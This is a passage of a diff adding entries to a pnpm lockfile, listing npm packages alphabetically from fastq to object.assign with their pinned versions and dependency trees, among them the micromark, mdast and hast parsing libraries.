+ + fastq@1.19.1: + dependencies: + reusify: 1.1.0 + + fd-slicer@1.1.0: + dependencies: + pend: 1.2.0 + + fdir@6.5.0(picomatch@4.0.3): + optionalDependencies: + picomatch: 4.0.3 + + figures@1.7.0: + dependencies: + escape-string-regexp: 1.0.5 + object-assign: 4.1.1 + + filelist@1.0.4: + dependencies: + minimatch: 5.1.6 + + filesize@6.4.0: {} + + fill-range@7.1.1: + dependencies: + to-regex-range: 5.0.1 + + find-cache-dir@3.3.2: + dependencies: + commondir: 1.0.1 + make-dir: 3.1.0 + pkg-dir: 4.2.0 + + find-up@4.1.0: + dependencies: + locate-path: 5.0.0 + path-exists: 4.0.0 + + flattie@1.1.1: {} + + focus-options-polyfill@1.6.0: {} + + follow-redirects@1.15.9: {} + + fontace@0.3.0: + dependencies: + '@types/fontkit': 2.0.8 + fontkit: 2.0.4 + + fontkit@2.0.4: + dependencies: + '@swc/helpers': 0.5.17 + brotli: 1.3.3 + clone: 2.1.2 + dfa: 1.2.0 + fast-deep-equal: 3.1.3 + restructure: 3.0.2 + tiny-inflate: 1.0.3 + unicode-properties: 1.4.1 + unicode-trie: 2.0.0 + + for-each@0.3.5: + dependencies: + is-callable: 1.2.7 + + foreground-child@3.3.1: + dependencies: + cross-spawn: 7.0.6 + signal-exit: 4.1.0 + + form-data@4.0.2: + dependencies: + asynckit: 0.4.0 + combined-stream: 1.0.8 + es-set-tostringtag: 2.1.0 + mime-types: 2.1.35 + + fraction.js@4.3.7: {} + + fs-extra@10.1.0: + dependencies: + graceful-fs: 4.2.11 + jsonfile: 6.1.0 + universalify: 2.0.1 + + fs-minipass@2.1.0: + dependencies: + minipass: 3.3.6 + + fs.realpath@1.0.0: {} + + fsevents@2.3.3: + optional: true + + function-bind@1.1.2: {} + + function.prototype.name@1.1.8: + dependencies: + call-bind: 1.0.8 + call-bound: 1.0.4 + define-properties: 1.2.1 + functions-have-names: 1.2.3 + hasown: 2.0.2 + is-callable: 1.2.7 + + functions-have-names@1.2.3: {} + + generic-names@4.0.0: + dependencies: + loader-utils: 3.3.1 + + gensync@1.0.0-beta.2: {} + + get-caller-file@2.0.5: {} + + get-east-asian-width@1.4.0: {} + + get-intrinsic@1.3.0: + dependencies: + call-bind-apply-helpers: 1.0.2 + es-define-property: 1.0.1 + es-errors: 1.3.0 + es-object-atoms: 1.1.1 + function-bind: 1.1.2 + get-proto: 1.0.1 + gopd: 1.2.0 + has-symbols: 1.1.0 + hasown: 2.0.2 + math-intrinsics: 1.1.0 + + get-proto@1.0.1: + dependencies: + dunder-proto: 1.0.1 + es-object-atoms: 1.1.1 + + get-stream@5.2.0: + dependencies: + pump: 3.0.2 + + get-symbol-description@1.1.0: + dependencies: + call-bound: 1.0.4 + es-errors: 1.3.0 + get-intrinsic: 1.3.0 + + github-slugger@2.0.0: {} + + glob-parent@5.1.2: + dependencies: + is-glob: 4.0.3 + + glob-parent@6.0.2: + dependencies: + is-glob: 4.0.3 + + glob@10.4.5: + dependencies: + foreground-child: 3.3.1 + jackspeak: 3.4.3 + minimatch: 9.0.5 + minipass: 7.1.2 + package-json-from-dist: 1.0.1 + path-scurry: 1.11.1 + + glob@7.2.3: + dependencies: + fs.realpath: 1.0.0 + inflight: 1.0.6 + inherits: 2.0.4 + minimatch: 3.1.2 + once: 1.4.0 + path-is-absolute: 1.0.1 + + globals@15.15.0: {} + + globalthis@1.0.4: + dependencies: + define-properties: 1.2.1 + gopd: 1.2.0 + + globalyzer@0.1.0: {} + + globrex@0.1.2: {} + + gopd@1.2.0: {} + + graceful-fs@4.2.11: {} + + gzip-size@3.0.0: + dependencies: + duplexer: 0.1.2 + + gzip-size@6.0.0: + dependencies: + duplexer: 0.1.2 + + h3@1.15.4: + dependencies: + cookie-es: 1.2.2 + crossws: 0.3.5 + defu: 6.1.4 + destr: 2.0.5 + iron-webcrypto: 1.2.1 + node-mock-http: 1.0.3 + radix3: 1.1.2 + ufo: 1.6.1 + uncrypto: 0.1.3 + + has-ansi@2.0.0: + dependencies: + ansi-regex: 2.1.1 + + has-bigints@1.1.0: {} + + has-flag@4.0.0: {} + + has-property-descriptors@1.0.2: + dependencies: + es-define-property: 1.0.1 + + has-proto@1.2.0: + dependencies: + dunder-proto: 1.0.1 + + has-symbols@1.1.0: {} + + has-tostringtag@1.0.2: + dependencies: + has-symbols: 1.1.0 + + hasown@2.0.2: + dependencies: + function-bind: 1.1.2 + + hast-util-from-dom@5.0.1: + dependencies: + '@types/hast': 3.0.4 + hastscript: 9.0.1 + web-namespaces: 2.0.1 + + hast-util-from-html-isomorphic@2.0.0: + dependencies: + '@types/hast': 3.0.4 + hast-util-from-dom: 5.0.1 + hast-util-from-html: 2.0.3 + unist-util-remove-position: 5.0.0 + + hast-util-from-html@2.0.3: + dependencies: + '@types/hast': 3.0.4 + devlop: 1.1.0 + hast-util-from-parse5: 8.0.3 + parse5: 7.3.0 + vfile: 6.0.3 + vfile-message: 4.0.3 + + hast-util-from-parse5@8.0.3: + dependencies: + '@types/hast': 3.0.4 + '@types/unist': 3.0.3 + devlop: 1.1.0 + hastscript: 9.0.1 + property-information: 7.1.0 + vfile: 6.0.3 + vfile-location: 5.0.3 + web-namespaces: 2.0.1 + + hast-util-has-property@3.0.0: + dependencies: + '@types/hast': 3.0.4 + + hast-util-heading-rank@3.0.0: + dependencies: + '@types/hast': 3.0.4 + + hast-util-is-element@3.0.0: + dependencies: + '@types/hast': 3.0.4 + + hast-util-parse-selector@3.1.1: + dependencies: + '@types/hast': 2.3.10 + + hast-util-parse-selector@4.0.0: + dependencies: + '@types/hast': 3.0.4 + + hast-util-raw@9.1.0: + dependencies: + '@types/hast': 3.0.4 + '@types/unist': 3.0.3 + '@ungap/structured-clone': 1.3.0 + hast-util-from-parse5: 8.0.3 + hast-util-to-parse5: 8.0.0 + html-void-elements: 3.0.0 + mdast-util-to-hast: 13.2.0 + parse5: 7.3.0 + unist-util-position: 5.0.0 + unist-util-visit: 5.0.0 + vfile: 6.0.3 + web-namespaces: 2.0.1 + zwitch: 2.0.4 + + hast-util-select@6.0.4: + dependencies: + '@types/hast': 3.0.4 + '@types/unist': 3.0.3 + bcp-47-match: 2.0.3 + comma-separated-tokens: 2.0.3 + css-selector-parser: 3.1.3 + devlop: 1.1.0 + direction: 2.0.1 + hast-util-has-property: 3.0.0 + hast-util-to-string: 3.0.1 + hast-util-whitespace: 3.0.0 + nth-check: 2.1.1 + property-information: 7.1.0 + space-separated-tokens: 2.0.2 + unist-util-visit: 5.0.0 + zwitch: 2.0.4 + + hast-util-to-html@9.0.5: + dependencies: + '@types/hast': 3.0.4 + '@types/unist': 3.0.3 + ccount: 2.0.1 + comma-separated-tokens: 2.0.3 + hast-util-whitespace: 3.0.0 + html-void-elements: 3.0.0 + mdast-util-to-hast: 13.2.0 + property-information: 7.1.0 + space-separated-tokens: 2.0.2 + stringify-entities: 4.0.4 + zwitch: 2.0.4 + + hast-util-to-parse5@8.0.0: + dependencies: + '@types/hast': 3.0.4 + comma-separated-tokens: 2.0.3 + devlop: 1.1.0 + property-information: 6.5.0 + space-separated-tokens: 2.0.2 + web-namespaces: 2.0.1 + zwitch: 2.0.4 + + hast-util-to-string@3.0.1: + dependencies: + '@types/hast': 3.0.4 + + hast-util-to-text@4.0.2: + dependencies: + '@types/hast': 3.0.4 + '@types/unist': 3.0.3 + hast-util-is-element: 3.0.0 + unist-util-find-after: 5.0.0 + + hast-util-whitespace@3.0.0: + dependencies: + '@types/hast': 3.0.4 + + hastscript@7.2.0: + dependencies: + '@types/hast': 2.3.10 + comma-separated-tokens: 2.0.3 + hast-util-parse-selector: 3.1.1 + property-information: 6.5.0 + space-separated-tokens: 2.0.2 + + hastscript@9.0.1: + dependencies: + '@types/hast': 3.0.4 + comma-separated-tokens: 2.0.3 + hast-util-parse-selector: 4.0.0 + property-information: 7.0.0 + space-separated-tokens: 2.0.2 + + html-escaper@3.0.3: {} + + html-void-elements@3.0.0: {} + + htmlparser2@8.0.2: + dependencies: + domelementtype: 2.3.0 + domhandler: 5.0.3 + domutils: 3.2.2 + entities: 4.5.0 + + htmlparser2@9.1.0: + dependencies: + domelementtype: 2.3.0 + domhandler: 5.0.3 + domutils: 3.2.2 + entities: 4.5.0 + + http-cache-semantics@4.2.0: {} + + iconv-lite@0.6.3: + dependencies: + safer-buffer: 2.1.2 + + icss-replace-symbols@1.1.0: {} + + icss-utils@5.1.0(postcss@8.5.6): + dependencies: + postcss: 8.5.6 + + immutable@4.3.7: + optional: true + + import-cwd@3.0.0: + dependencies: + import-from: 3.0.0 + + import-fresh@3.3.1: + dependencies: + parent-module: 1.0.1 + resolve-from: 4.0.0 + + import-from@3.0.0: + dependencies: + resolve-from: 5.0.0 + + import-meta-resolve@4.2.0: {} + + inflight@1.0.6: + dependencies: + once: 1.4.0 + wrappy: 1.0.2 + + inherits@2.0.4: {} + + internal-slot@1.1.0: + dependencies: + es-errors: 1.3.0 + hasown: 2.0.2 + side-channel: 1.1.0 + + interpret@1.4.0: {} + + iron-webcrypto@1.2.1: {} + + is-alphabetical@2.0.1: {} + + is-alphanumerical@2.0.1: + dependencies: + is-alphabetical: 2.0.1 + is-decimal: 2.0.1 + + is-array-buffer@3.0.5: + dependencies: + call-bind: 1.0.8 + call-bound: 1.0.4 + get-intrinsic: 1.3.0 + + is-arrayish@0.2.1: {} + + is-async-function@2.1.1: + dependencies: + async-function: 1.0.0 + call-bound: 1.0.4 + get-proto: 1.0.1 + has-tostringtag: 1.0.2 + safe-regex-test: 1.1.0 + + is-bigint@1.1.0: + dependencies: + has-bigints: 1.1.0 + + is-binary-path@2.1.0: + dependencies: + binary-extensions: 2.3.0 + + is-boolean-object@1.2.2: + dependencies: + call-bound: 1.0.4 + has-tostringtag: 1.0.2 + + is-callable@1.2.7: {} + + is-core-module@2.16.1: + dependencies: + hasown: 2.0.2 + + is-data-view@1.0.2: + dependencies: + call-bound: 1.0.4 + get-intrinsic: 1.3.0 + is-typed-array: 1.1.15 + + is-date-object@1.1.0: + dependencies: + call-bound: 1.0.4 + has-tostringtag: 1.0.2 + + is-decimal@2.0.1: {} + + is-docker@2.2.1: {} + + is-docker@3.0.0: {} + + is-extglob@2.1.1: {} + + is-finalizationregistry@1.1.1: + dependencies: + call-bound: 1.0.4 + + is-fullwidth-code-point@3.0.0: {} + + is-generator-function@1.1.0: + dependencies: + call-bound: 1.0.4 + get-proto: 1.0.1 + has-tostringtag: 1.0.2 + safe-regex-test: 1.1.0 + + is-glob@4.0.3: + dependencies: + is-extglob: 2.1.1 + + is-hexadecimal@2.0.1: {} + + is-inside-container@1.0.0: + dependencies: + is-docker: 3.0.0 + + is-map@2.0.3: {} + + is-module@1.0.0: {} + + is-negative-zero@2.0.3: {} + + is-number-object@1.1.1: + dependencies: + call-bound: 1.0.4 + has-tostringtag: 1.0.2 + + is-number@7.0.0: {} + + is-plain-obj@4.1.0: {} + + is-plain-object@5.0.0: {} + + is-reference@1.2.1: + dependencies: + '@types/estree': 1.0.8 + + is-reference@3.0.3: + dependencies: + '@types/estree': 1.0.8 + + is-regex@1.2.1: + dependencies: + call-bound: 1.0.4 + gopd: 1.2.0 + has-tostringtag: 1.0.2 + hasown: 2.0.2 + + is-set@2.0.3: {} + + is-shared-array-buffer@1.0.4: + dependencies: + call-bound: 1.0.4 + + is-string@1.1.1: + dependencies: + call-bound: 1.0.4 + has-tostringtag: 1.0.2 + + is-symbol@1.1.1: + dependencies: + call-bound: 1.0.4 + has-symbols: 1.1.0 + safe-regex-test: 1.1.0 + + is-typed-array@1.1.15: + dependencies: + which-typed-array: 1.1.19 + + is-weakmap@2.0.2: {} + + is-weakref@1.1.1: + dependencies: + call-bound: 1.0.4 + + is-weakset@2.0.4: + dependencies: + call-bound: 1.0.4 + get-intrinsic: 1.3.0 + + is-wsl@2.2.0: + dependencies: + is-docker: 2.2.1 + + is-wsl@3.1.0: + dependencies: + is-inside-container: 1.0.0 + + isarray@2.0.5: {} + + isexe@2.0.0: {} + + jackspeak@3.4.3: + dependencies: + '@isaacs/cliui': 8.0.2 + optionalDependencies: + '@pkgjs/parseargs': 0.11.0 + + jake@10.9.2: + dependencies: + async: 3.2.6 + chalk: 4.1.2 + filelist: 1.0.4 + minimatch: 3.1.2 + + jest-worker@26.6.2: + dependencies: + '@types/node': 24.5.2 + merge-stream: 2.0.0 + supports-color: 7.2.0 + + jiti@1.21.7: {} + + js-tokens@4.0.0: {} + + js-yaml@4.1.0: + dependencies: + argparse: 2.0.1 + + jsesc@3.0.2: {} + + jsesc@3.1.0: {} + + json-parse-even-better-errors@2.3.1: {} + + json-schema-traverse@1.0.0: {} + + json5@2.2.3: {} + + jsonc-parser@2.3.1: {} + + jsonc-parser@3.3.1: {} + + jsonfile@6.1.0: + dependencies: + universalify: 2.0.1 + optionalDependencies: + graceful-fs: 4.2.11 + + katex@0.16.23: + dependencies: + commander: 8.3.0 + + kleur@3.0.3: {} + + kleur@4.1.5: {} + + kolorist@1.8.0: {} + + lightningcss-darwin-arm64@1.29.3: + optional: true + + lightningcss-darwin-x64@1.29.3: + optional: true + + lightningcss-freebsd-x64@1.29.3: + optional: true + + lightningcss-linux-arm-gnueabihf@1.29.3: + optional: true + + lightningcss-linux-arm64-gnu@1.29.3: + optional: true + + lightningcss-linux-arm64-musl@1.29.3: + optional: true + + lightningcss-linux-x64-gnu@1.29.3: + optional: true + + lightningcss-linux-x64-musl@1.29.3: + optional: true + + lightningcss-win32-arm64-msvc@1.29.3: + optional: true + + lightningcss-win32-x64-msvc@1.29.3: + optional: true + + lightningcss@1.29.3: + dependencies: + detect-libc: 2.1.1 + optionalDependencies: + lightningcss-darwin-arm64: 1.29.3 + lightningcss-darwin-x64: 1.29.3 + lightningcss-freebsd-x64: 1.29.3 + lightningcss-linux-arm-gnueabihf: 1.29.3 + lightningcss-linux-arm64-gnu: 1.29.3 + lightningcss-linux-arm64-musl: 1.29.3 + lightningcss-linux-x64-gnu: 1.29.3 + lightningcss-linux-x64-musl: 1.29.3 + lightningcss-win32-arm64-msvc: 1.29.3 + lightningcss-win32-x64-msvc: 1.29.3 + optional: true + + lilconfig@2.1.0: {} + + lilconfig@3.1.3: {} + + lines-and-columns@1.2.4: {} + + linkify-it@5.0.0: + dependencies: + uc.micro: 2.1.0 + + loader-utils@3.3.1: {} + + local-pkg@0.5.1: + dependencies: + mlly: 1.7.4 + pkg-types: 1.3.1 + + local-pkg@1.1.1: + dependencies: + mlly: 1.7.4 + pkg-types: 2.1.0 + quansync: 0.2.10 + + locate-character@3.0.0: {} + + locate-path@5.0.0: + dependencies: + p-locate: 4.1.0 + + lodash.camelcase@4.3.0: {} + + lodash.debounce@4.0.8: {} + + lodash.memoize@4.1.2: {} + + lodash.merge@4.6.2: {} + + lodash.uniq@4.5.0: {} + + lodash@4.17.21: {} + + longest-streak@3.1.0: {} + + lru-cache@10.4.3: {} + + lru-cache@5.1.1: + dependencies: + yallist: 3.1.1 + + lucide-react@0.554.0(react@19.2.0): + dependencies: + react: 19.2.0 + + magic-string@0.25.9: + dependencies: + sourcemap-codec: 1.4.8 + + magic-string@0.30.19: + dependencies: + '@jridgewell/sourcemap-codec': 1.5.5 + + magicast@0.3.5: + dependencies: + '@babel/parser': 7.28.4 + '@babel/types': 7.28.4 + source-map-js: 1.2.1 + + make-dir@3.1.0: + dependencies: + semver: 6.3.1 + + markdown-it@14.1.0: + dependencies: + argparse: 2.0.1 + entities: 4.5.0 + linkify-it: 5.0.0 + mdurl: 2.0.0 + punycode.js: 2.3.1 + uc.micro: 2.1.0 + + markdown-table@3.0.4: {} + + math-intrinsics@1.1.0: {} + + maxmin@2.1.0: + dependencies: + chalk: 1.1.3 + figures: 1.7.0 + gzip-size: 3.0.0 + pretty-bytes: 3.0.1 + + mdast-util-definitions@6.0.0: + dependencies: + '@types/mdast': 4.0.4 + '@types/unist': 3.0.3 + unist-util-visit: 5.0.0 + + mdast-util-directive@3.1.0: + dependencies: + '@types/mdast': 4.0.4 + '@types/unist': 3.0.3 + ccount: 2.0.1 + devlop: 1.1.0 + mdast-util-from-markdown: 2.0.2 + mdast-util-to-markdown: 2.1.2 + parse-entities: 4.0.2 + stringify-entities: 4.0.4 + unist-util-visit-parents: 6.0.1 + transitivePeerDependencies: + - supports-color + + mdast-util-find-and-replace@3.0.2: + dependencies: + '@types/mdast': 4.0.4 + escape-string-regexp: 5.0.0 + unist-util-is: 6.0.0 + unist-util-visit-parents: 6.0.1 + + mdast-util-from-markdown@2.0.2: + dependencies: + '@types/mdast': 4.0.4 + '@types/unist': 3.0.3 + decode-named-character-reference: 1.1.0 + devlop: 1.1.0 + mdast-util-to-string: 4.0.0 + micromark: 4.0.2 + micromark-util-decode-numeric-character-reference: 2.0.2 + micromark-util-decode-string: 2.0.1 + micromark-util-normalize-identifier: 2.0.1 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + unist-util-stringify-position: 4.0.0 + transitivePeerDependencies: + - supports-color + + mdast-util-gfm-autolink-literal@2.0.1: + dependencies: + '@types/mdast': 4.0.4 + ccount: 2.0.1 + devlop: 1.1.0 + mdast-util-find-and-replace: 3.0.2 + micromark-util-character: 2.1.1 + + mdast-util-gfm-footnote@2.1.0: + dependencies: + '@types/mdast': 4.0.4 + devlop: 1.1.0 + mdast-util-from-markdown: 2.0.2 + mdast-util-to-markdown: 2.1.2 + micromark-util-normalize-identifier: 2.0.1 + transitivePeerDependencies: + - supports-color + + mdast-util-gfm-strikethrough@2.0.0: + dependencies: + '@types/mdast': 4.0.4 + mdast-util-from-markdown: 2.0.2 + mdast-util-to-markdown: 2.1.2 + transitivePeerDependencies: + - supports-color + + mdast-util-gfm-table@2.0.0: + dependencies: + '@types/mdast': 4.0.4 + devlop: 1.1.0 + markdown-table: 3.0.4 + mdast-util-from-markdown: 2.0.2 + mdast-util-to-markdown: 2.1.2 + transitivePeerDependencies: + - supports-color + + mdast-util-gfm-task-list-item@2.0.0: + dependencies: + '@types/mdast': 4.0.4 + devlop: 1.1.0 + mdast-util-from-markdown: 2.0.2 + mdast-util-to-markdown: 2.1.2 + transitivePeerDependencies: + - supports-color + + mdast-util-gfm@3.1.0: + dependencies: + mdast-util-from-markdown: 2.0.2 + mdast-util-gfm-autolink-literal: 2.0.1 + mdast-util-gfm-footnote: 2.1.0 + mdast-util-gfm-strikethrough: 2.0.0 + mdast-util-gfm-table: 2.0.0 + mdast-util-gfm-task-list-item: 2.0.0 + mdast-util-to-markdown: 2.1.2 + transitivePeerDependencies: + - supports-color + + mdast-util-math@3.0.0: + dependencies: + '@types/hast': 3.0.4 + '@types/mdast': 4.0.4 + devlop: 1.1.0 + longest-streak: 3.1.0 + mdast-util-from-markdown: 2.0.2 + mdast-util-to-markdown: 2.1.2 + unist-util-remove-position: 5.0.0 + transitivePeerDependencies: + - supports-color + + mdast-util-phrasing@4.1.0: + dependencies: + '@types/mdast': 4.0.4 + unist-util-is: 6.0.0 + + mdast-util-to-hast@13.2.0: + dependencies: + '@types/hast': 3.0.4 + '@types/mdast': 4.0.4 + '@ungap/structured-clone': 1.3.0 + devlop: 1.1.0 + micromark-util-sanitize-uri: 2.0.1 + trim-lines: 3.0.1 + unist-util-position: 5.0.0 + unist-util-visit: 5.0.0 + vfile: 6.0.3 + + mdast-util-to-markdown@2.1.2: + dependencies: + '@types/mdast': 4.0.4 + '@types/unist': 3.0.3 + longest-streak: 3.1.0 + mdast-util-phrasing: 4.1.0 + mdast-util-to-string: 4.0.0 + micromark-util-classify-character: 2.0.1 + micromark-util-decode-string: 2.0.1 + unist-util-visit: 5.0.0 + zwitch: 2.0.4 + + mdast-util-to-string@4.0.0: + dependencies: + '@types/mdast': 4.0.4 + + mdn-data@2.0.14: {} + + mdn-data@2.0.28: {} + + mdn-data@2.0.30: {} + + mdn-data@2.12.2: {} + + mdurl@2.0.0: {} + + merge-stream@2.0.0: {} + + merge2@1.4.1: {} + + microbundle@0.15.1(@types/babel__core@7.20.5): + dependencies: + '@babel/core': 7.28.0 + '@babel/plugin-proposal-class-properties': 7.12.1(@babel/core@7.28.0) + '@babel/plugin-syntax-import-meta': 7.10.4(@babel/core@7.28.0) + '@babel/plugin-syntax-jsx': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-flow-strip-types': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-react-jsx': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-regenerator': 7.28.1(@babel/core@7.28.0) + '@babel/preset-env': 7.28.0(@babel/core@7.28.0) + '@babel/preset-flow': 7.27.1(@babel/core@7.28.0) + '@babel/preset-react': 7.27.1(@babel/core@7.28.0) + '@rollup/plugin-alias': 3.1.9(rollup@2.79.2) + '@rollup/plugin-babel': 5.3.1(@babel/core@7.28.0)(@types/babel__core@7.20.5)(rollup@2.79.2) + '@rollup/plugin-commonjs': 17.1.0(rollup@2.79.2) + '@rollup/plugin-json': 4.1.0(rollup@2.79.2) + '@rollup/plugin-node-resolve': 11.2.1(rollup@2.79.2) + '@surma/rollup-plugin-off-main-thread': 2.2.3 + asyncro: 3.0.0 + autoprefixer: 10.4.21(postcss@8.5.6) + babel-plugin-macros: 3.1.0 + babel-plugin-transform-async-to-promises: 0.8.18 + babel-plugin-transform-replace-expressions: 0.2.0(@babel/core@7.28.0) + brotli-size: 4.0.0 + builtin-modules: 3.3.0 + camelcase: 6.3.0 + escape-string-regexp: 4.0.0 + filesize: 6.4.0 + gzip-size: 6.0.0 + kleur: 4.1.5 + lodash.merge: 4.6.2 + postcss: 8.5.6 + pretty-bytes: 5.6.0 + rollup: 2.79.2 + rollup-plugin-bundle-size: 1.0.3 + rollup-plugin-postcss: 4.0.2(postcss@8.5.6) + rollup-plugin-terser: 7.0.2(rollup@2.79.2) + rollup-plugin-typescript2: 0.32.1(rollup@2.79.2)(typescript@4.9.5) + rollup-plugin-visualizer: 5.14.0(rollup@2.79.2) + sade: 1.8.1 + terser: 5.43.1 + tiny-glob: 0.2.9 + tslib: 2.8.1 + typescript: 4.9.5 + transitivePeerDependencies: + - '@types/babel__core' + - rolldown + - supports-color + - ts-node + + micromark-core-commonmark@2.0.3: + dependencies: + decode-named-character-reference: 1.1.0 + devlop: 1.1.0 + micromark-factory-destination: 2.0.1 + micromark-factory-label: 2.0.1 + micromark-factory-space: 2.0.1 + micromark-factory-title: 2.0.1 + micromark-factory-whitespace: 2.0.1 + micromark-util-character: 2.1.1 + micromark-util-chunked: 2.0.1 + micromark-util-classify-character: 2.0.1 + micromark-util-html-tag-name: 2.0.1 + micromark-util-normalize-identifier: 2.0.1 + micromark-util-resolve-all: 2.0.1 + micromark-util-subtokenize: 2.1.0 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-extension-directive@3.0.2: + dependencies: + devlop: 1.1.0 + micromark-factory-space: 2.0.1 + micromark-factory-whitespace: 2.0.1 + micromark-util-character: 2.1.1 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + parse-entities: 4.0.2 + + micromark-extension-gfm-autolink-literal@2.1.0: + dependencies: + micromark-util-character: 2.1.1 + micromark-util-sanitize-uri: 2.0.1 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-extension-gfm-footnote@2.1.0: + dependencies: + devlop: 1.1.0 + micromark-core-commonmark: 2.0.3 + micromark-factory-space: 2.0.1 + micromark-util-character: 2.1.1 + micromark-util-normalize-identifier: 2.0.1 + micromark-util-sanitize-uri: 2.0.1 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-extension-gfm-strikethrough@2.1.0: + dependencies: + devlop: 1.1.0 + micromark-util-chunked: 2.0.1 + micromark-util-classify-character: 2.0.1 + micromark-util-resolve-all: 2.0.1 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-extension-gfm-table@2.1.1: + dependencies: + devlop: 1.1.0 + micromark-factory-space: 2.0.1 + micromark-util-character: 2.1.1 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-extension-gfm-tagfilter@2.0.0: + dependencies: + micromark-util-types: 2.0.2 + + micromark-extension-gfm-task-list-item@2.1.0: + dependencies: + devlop: 1.1.0 + micromark-factory-space: 2.0.1 + micromark-util-character: 2.1.1 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-extension-gfm@3.0.0: + dependencies: + micromark-extension-gfm-autolink-literal: 2.1.0 + micromark-extension-gfm-footnote: 2.1.0 + micromark-extension-gfm-strikethrough: 2.1.0 + micromark-extension-gfm-table: 2.1.1 + micromark-extension-gfm-tagfilter: 2.0.0 + micromark-extension-gfm-task-list-item: 2.1.0 + micromark-util-combine-extensions: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-extension-math@3.1.0: + dependencies: + '@types/katex': 0.16.7 + devlop: 1.1.0 + katex: 0.16.23 + micromark-factory-space: 2.0.1 + micromark-util-character: 2.1.1 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-factory-destination@2.0.1: + dependencies: + micromark-util-character: 2.1.1 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-factory-label@2.0.1: + dependencies: + devlop: 1.1.0 + micromark-util-character: 2.1.1 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-factory-space@2.0.1: + dependencies: + micromark-util-character: 2.1.1 + micromark-util-types: 2.0.2 + + micromark-factory-title@2.0.1: + dependencies: + micromark-factory-space: 2.0.1 + micromark-util-character: 2.1.1 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-factory-whitespace@2.0.1: + dependencies: + micromark-factory-space: 2.0.1 + micromark-util-character: 2.1.1 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-util-character@2.1.1: + dependencies: + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-util-chunked@2.0.1: + dependencies: + micromark-util-symbol: 2.0.1 + + micromark-util-classify-character@2.0.1: + dependencies: + micromark-util-character: 2.1.1 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-util-combine-extensions@2.0.1: + dependencies: + micromark-util-chunked: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-util-decode-numeric-character-reference@2.0.2: + dependencies: + micromark-util-symbol: 2.0.1 + + micromark-util-decode-string@2.0.1: + dependencies: + decode-named-character-reference: 1.1.0 + micromark-util-character: 2.1.1 + micromark-util-decode-numeric-character-reference: 2.0.2 + micromark-util-symbol: 2.0.1 + + micromark-util-encode@2.0.1: {} + + micromark-util-html-tag-name@2.0.1: {} + + micromark-util-normalize-identifier@2.0.1: + dependencies: + micromark-util-symbol: 2.0.1 + + micromark-util-resolve-all@2.0.1: + dependencies: + micromark-util-types: 2.0.2 + + micromark-util-sanitize-uri@2.0.1: + dependencies: + micromark-util-character: 2.1.1 + micromark-util-encode: 2.0.1 + micromark-util-symbol: 2.0.1 + + micromark-util-subtokenize@2.1.0: + dependencies: + devlop: 1.1.0 + micromark-util-chunked: 2.0.1 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-util-symbol@2.0.1: {} + + micromark-util-types@2.0.2: {} + + micromark@4.0.2: + dependencies: + '@types/debug': 4.1.12 + debug: 4.4.3 + decode-named-character-reference: 1.1.0 + devlop: 1.1.0 + micromark-core-commonmark: 2.0.3 + micromark-factory-space: 2.0.1 + micromark-util-character: 2.1.1 + micromark-util-chunked: 2.0.1 + micromark-util-combine-extensions: 2.0.1 + micromark-util-decode-numeric-character-reference: 2.0.2 + micromark-util-encode: 2.0.1 + micromark-util-normalize-identifier: 2.0.1 + micromark-util-resolve-all: 2.0.1 + micromark-util-sanitize-uri: 2.0.1 + micromark-util-subtokenize: 2.1.0 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + transitivePeerDependencies: + - supports-color + + micromatch@4.0.8: + dependencies: + braces: 3.0.3 + picomatch: 2.3.1 + + mime-db@1.52.0: {} + + mime-types@2.1.35: + dependencies: + mime-db: 1.52.0 + + minimatch@3.1.2: + dependencies: + brace-expansion: 1.1.12 + + minimatch@5.1.6: + dependencies: + brace-expansion: 2.0.2 + + minimatch@9.0.5: + dependencies: + brace-expansion: 2.0.1 + + minipass@3.3.6: + dependencies: + yallist: 4.0.0 + + minipass@4.2.8: {} + + minipass@5.0.0: {} + + minipass@7.1.2: {} + + minizlib@2.1.2: + dependencies: + minipass: 3.3.6 + yallist: 4.0.0 + + mkdirp@1.0.4: {} + + mlly@1.7.4: + dependencies: + acorn: 8.15.0 + pathe: 2.0.3 + pkg-types: 1.3.1 + ufo: 1.6.1 + + morphdom@2.7.5: {} + + mri@1.2.0: {} + + mrmime@2.0.1: {} + + ms@2.1.3: {} + + muggle-string@0.4.1: {} + + mz@2.7.0: + dependencies: + any-promise: 1.3.0 + object-assign: 4.1.1 + thenify-all: 1.6.0 + + nanoid@3.3.11: {} + + neotraverse@0.6.18: {} + + nlcst-to-string@4.0.0: + dependencies: + '@types/nlcst': 2.0.3 + + node-addon-api@7.1.1: + optional: true + + node-fetch-native@1.6.7: {} + + node-fetch@2.7.0: + dependencies: + whatwg-url: 5.0.0 + + node-mock-http@1.0.3: {} + + node-releases@2.0.19: {} + + normalize-path@3.0.0: {} + + normalize-range@0.1.2: {} + + normalize-url@6.1.0: {} + + nth-check@2.1.1: + dependencies: + boolbase: 1.0.0 + + number-is-nan@1.0.1: {} + + object-assign@4.1.1: {} + + object-hash@3.0.0: {} + + object-inspect@1.13.4: {} + + object-keys@1.1.1: {} + + object.assign@4.1.7: + dependencies: + call-bind: 1.0.8 + call-bound: 1.0.4 + define-properties: 